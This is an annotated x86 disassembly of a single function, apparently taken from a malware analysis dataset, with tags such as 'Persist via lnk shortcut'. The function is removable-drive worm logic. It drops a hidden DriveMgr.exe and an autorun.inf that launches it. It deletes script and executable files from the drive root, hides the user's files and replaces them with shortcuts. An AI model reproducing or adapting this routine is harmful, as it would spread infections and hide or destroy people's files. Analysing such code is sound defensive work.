Function at 0x4020f0
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Enumerate files on windows
Move file
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1500
call fcn.00405740
mov eax, dword [ebp + 0x14]
and eax, 0x80000
je 0x40210e
xor al, al
jmp 0x402625
mov dword [ebp - 0xa2c], 0x406cd4
mov byte [ebp - 0xe41], 0
mov ecx, dword [ebp + 0x10]
push ecx
push str._s.lnk
lea edx, [ebp - 0x820]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, dword [ebp - 0xa2c]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_sDriveMgr.exe
lea edx, [ebp - 0x14b0]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp - 0xa2c]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x406d14
lea edx, [ebp - 0x12a0]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x820]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x406d20
lea edx, [ebp - 0xc38]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp + 8]
push eax
push str._s
lea ecx, [ebp - 0x618]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push str._s_autorun.inf
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x14b0]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40221c
lea edx, [ebp - 0x14b0]
push edx
call fcn.004028b0
add esp, 4
mov dword [ebp - 0x14b4], eax
mov eax, dword [0x40a7a8]
cmp eax, dword [ebp - 0x14b4]
je 0x40221c
push 0x80
lea ecx, [ebp - 0x14b0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x14b0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x14b0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x402294
lea ecx, [ebp - 0x12a0]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x402260
push 0
lea edx, [ebp - 0x12a0]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x402260
push 7
lea eax, [ebp - 0x12a0]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x12a0]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x402294
push 0
lea edx, [ebp - 0x14b0]
push edx
push 0x40a7b0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 1
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0xc38]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4022f8
movzx edx, byte [ebp + 0x18]
test edx, edx
je 0x4022cc
push 9
push 0x406d58
lea eax, [ebp - 0x14b0]
push eax
lea ecx, [ebp - 0xc38]
push ecx
call fcn.00401ef0
add esp, 0x10
jmp 0x4022e9
push 8
push str.shell32.dll
lea edx, [ebp - 0x14b0]
push edx
lea eax, [ebp - 0xc38]
push eax
call fcn.00401ef0
add esp, 0x10
push 5
lea ecx, [ebp - 0xc38]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40235e
push 0x406d88
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll__wfopen
add esp, 8
mov dword [ebp - 0x14b8], eax
cmp dword [ebp - 0x14b8], 0
je 0x40235e
push str._AuToRuN__nShEllExECutE__DriveMgr.exe_nUsEAuToPLaY1
mov ecx, dword [ebp - 0x14b8]
push ecx
call sub.MSVCRT.dll_fwprintf
add esp, 8
mov edx, dword [ebp - 0x14b8]
push edx
call sub.MSVCRT.dll_fclose
add esp, 4
push 7
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x1098]
push ecx
lea edx, [ebp - 0x618]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x12a4], eax
cmp dword [ebp - 0x12a4], 0xffffffff
je 0x40261f
mov dword [ebp - 0x14f4], 0x406d8c
mov dword [ebp - 0x14f0], str..vbs
mov dword [ebp - 0x14ec], str..bat
mov dword [ebp - 0x14e8], str..js
mov dword [ebp - 0x14e4], str..scr
mov dword [ebp - 0x14e0], str..com
mov dword [ebp - 0x14dc], str..jse
mov dword [ebp - 0x14d8], str..cmd
mov dword [ebp - 0x14d4], str..pif
mov dword [ebp - 0x14d0], str..jar
mov dword [ebp - 0x14cc], str..dll
mov dword [ebp - 0x14c8], str..vbe
mov eax, dword [ebp - 0xa2c]
mov dword [ebp - 0x14c4], eax
lea ecx, [ebp - 0x820]
mov dword [ebp - 0x14c0], ecx
mov dword [ebp - 0x14bc], str.autorun.inf
push 0x406ea0
lea edx, [ebp - 0x106c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40244b
push 0x406ea4
lea eax, [ebp - 0x106c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x402450
jmp 0x4025f6
mov byte [ebp - 0x14f6], 0
mov dword [ebp - 0x14fc], 0
jmp 0x402472
mov ecx, dword [ebp - 0x14fc]
add ecx, 1
mov dword [ebp - 0x14fc], ecx
cmp dword [ebp - 0x14fc], 3
jae 0x4024a7
mov edx, dword [ebp - 0x14fc]
mov eax, dword [ebp + edx*4 - 0x14c4]
push eax
lea ecx, [ebp - 0x106c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40249c
jmp 0x402463
mov byte [ebp - 0x14f6], 1
jmp 0x4024a7
movzx edx, byte [ebp - 0x14f6]
test edx, edx
je 0x4024b7
jmp 0x4025f6
mov byte [ebp - 0x14f5], 0
mov dword [ebp - 0x1500], 0
jmp 0x4024d9
mov eax, dword [ebp - 0x1500]
add eax, 1
mov dword [ebp - 0x1500], eax
cmp dword [ebp - 0x1500], 0xc
jae 0x402550
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp + ecx*4 - 0x14f4]
push edx
lea eax, [ebp - 0x106c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x402503
jmp 0x4024ca
lea ecx, [ebp - 0x106c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x406eac
lea eax, [ebp - 0xa28]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x80
lea ecx, [ebp - 0xa28]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0xa28]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 0x14f5], 1
jmp 0x402550
movzx eax, byte [ebp - 0x14f5]
test eax, eax
je 0x402560
jmp 0x4025f6
lea ecx, [ebp - 0x12a0]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x402576
jmp 0x4025f6
lea edx, [ebp - 0x106c]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x406eb8
lea ecx, [ebp - 0xe40]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x106c]
push edx
mov eax, dword [ebp - 0xa2c]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_s_s
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov eax, dword [ebp - 0x1098]
and eax, 0x10
je 0x4025e0
lea ecx, [ebp - 0x410]
push ecx
lea edx, [ebp - 0xe40]
push edx
call fcn.00401fb0
add esp, 8
jmp 0x4025f6
push 9
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0xe40]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea edx, [ebp - 0x1098]
push edx
mov eax, dword [ebp - 0x12a4]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40241f
mov ecx, dword [ebp - 0x12a4]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [ebp - 0xe41]
mov esp, ebp
pop ebp
ret